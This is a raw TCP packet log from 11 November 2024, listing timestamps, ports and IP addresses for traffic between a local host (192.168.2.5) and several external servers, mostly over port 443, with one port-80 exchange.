Nov 11, 2024 21:59:20.022802114 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.022809029 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.022844076 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.025979996 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.026806116 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.026818991 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.027451038 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.027487993 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.027501106 CET	58711	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.027507067 CET	443	58711	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.029113054 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.029145002 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.029202938 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.029212952 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.029247999 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.030030012 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.031789064 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.031938076 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:20.031949043 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.032073021 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.032073975 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.032088995 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.032223940 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.032248974 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.032320976 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.033411026 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.033411026 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.033487082 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.033759117 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:20.035617113 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.035649061 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.035701036 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.035713911 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.035763025 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.035983086 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.036050081 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.038846016 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.041910887 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.041940928 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.041944027 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.041953087 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.041991949 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.045171976 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.048192024 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.048227072 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.048228025 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.048235893 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.048290014 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.051584005 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.054549932 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.054596901 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.054603100 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.057972908 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.058005095 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.058052063 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.058060884 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.058103085 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.061075926 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.064321995 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.064356089 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.064412117 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.064425945 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.064462900 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.067493916 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.070698977 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.070734978 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.070791960 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.070801020 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.070847034 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.073915005 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.077054977 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.077085972 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.077122927 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.077131987 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.077158928 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.080215931 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.083168983 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.083226919 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.083235979 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.086107016 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.086147070 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.086153030 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.089039087 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.089252949 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.089260101 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.091880083 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.091906071 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.091988087 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.091994047 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.092123032 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.092305899 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.092344046 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.092510939 CET	443	58704	142.250.186.161	192.168.2.5
Nov 11, 2024 21:59:20.092547894 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.092590094 CET	58704	443	192.168.2.5	142.250.186.161
Nov 11, 2024 21:59:20.095261097 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.095448971 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.095455885 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.095793962 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:20.095935106 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.096076965 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:20.096101046 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.096734047 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.096879959 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.096896887 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.109136105 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.109216928 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.109267950 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.115802050 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.115865946 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.115914106 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.116502047 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.116534948 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.116547108 CET	58713	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.116553068 CET	443	58713	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.117127895 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.117161989 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.117229939 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.117674112 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.117682934 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.127151966 CET	58714	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.127171993 CET	443	58714	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.139331102 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.139581919 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.139624119 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.139698029 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.143327951 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.144745111 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:20.151356936 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.151372910 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.152771950 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.152812958 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.152875900 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.153100967 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.153114080 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.155906916 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.155930996 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.155983925 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.156168938 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.156181097 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.187335968 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.189870119 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.189994097 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.190238953 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.190293074 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:20.190301895 CET	58719	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.190325975 CET	443	58719	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.190798998 CET	58718	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:20.190817118 CET	443	58718	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:20.192133904 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.192204952 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.198254108 CET	58720	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.198271990 CET	443	58720	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.199534893 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.199574947 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.199655056 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.200659990 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.200676918 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.254385948 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.254410028 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.254753113 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.260241985 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.260329008 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.260356903 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.357142925 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357165098 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357172966 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357197046 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357213020 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357223034 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357234955 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:20.357243061 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357270956 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:20.357291937 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:20.357717037 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.357775927 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:20.357780933 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.361478090 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:20.361557007 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:20.531107903 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.599874973 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.599891901 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.604801893 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.604816914 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.604960918 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.604993105 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.605035067 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.632767916 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.635535002 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.635549068 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.636328936 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.636332989 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.664614916 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.665442944 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.668171883 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.677232027 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.677248001 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.677726984 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.677731991 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.679230928 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.679239988 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.679811001 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.679815054 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.680710077 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.680727005 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.681071997 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.681077003 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.713270903 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.716548920 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.716576099 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.717427015 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.717495918 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.717648983 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.717669964 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.717730045 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.717994928 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.718054056 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.718106031 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.719527960 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.719556093 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.719712019 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.719743967 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.719770908 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.720027924 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.720038891 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.720216990 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.720231056 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.720242977 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.720376015 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.720391035 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.720504045 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.720513105 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.720652103 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:20.720666885 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:20.720757961 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.720765114 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.724221945 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.724255085 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.724358082 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.724623919 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.724637032 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.726047993 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.726116896 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.726191998 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.726968050 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.726979017 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.726990938 CET	58724	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.726995945 CET	443	58724	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.744235992 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.744246006 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.744316101 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.745431900 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.745439053 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.766213894 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.766347885 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.766441107 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.768234015 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.768300056 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.768474102 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.773396969 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.773461103 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.773519993 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.787180901 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.791774035 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.791786909 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.791812897 CET	58725	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.791817904 CET	443	58725	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.792589903 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.792607069 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.792634964 CET	58726	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.792642117 CET	443	58726	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.793070078 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.793076038 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.793087006 CET	58727	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.793091059 CET	443	58727	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.796583891 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.796600103 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.796899080 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.797612906 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:20.797620058 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:20.821345091 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.821367025 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.821434021 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.822688103 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.822711945 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.822748899 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.822772026 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.822828054 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.822973013 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.822983027 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.823525906 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.823555946 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.823673010 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.823847055 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.823858976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:20.823862076 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.828593969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:20.895051003 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895087004 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895093918 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895128012 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895147085 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895157099 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895159960 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.895174980 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.895215034 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.895236969 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.897222042 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.897241116 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.897309065 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.897315979 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.897356033 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.946100950 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:20.946132898 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:20.946190119 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:20.948400974 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:20.948411942 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:20.976401091 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.976437092 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.976494074 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.976511002 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.976538897 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.976569891 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.977616072 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.977637053 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.977673054 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.977678061 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.977714062 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.977737904 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.979264021 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.979283094 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.979335070 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.979341030 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.979366064 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.979386091 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.980916977 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.980936050 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.980994940 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:20.981004000 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:20.981059074 CET	58728	443	192.168.2.5	13.107.246.45
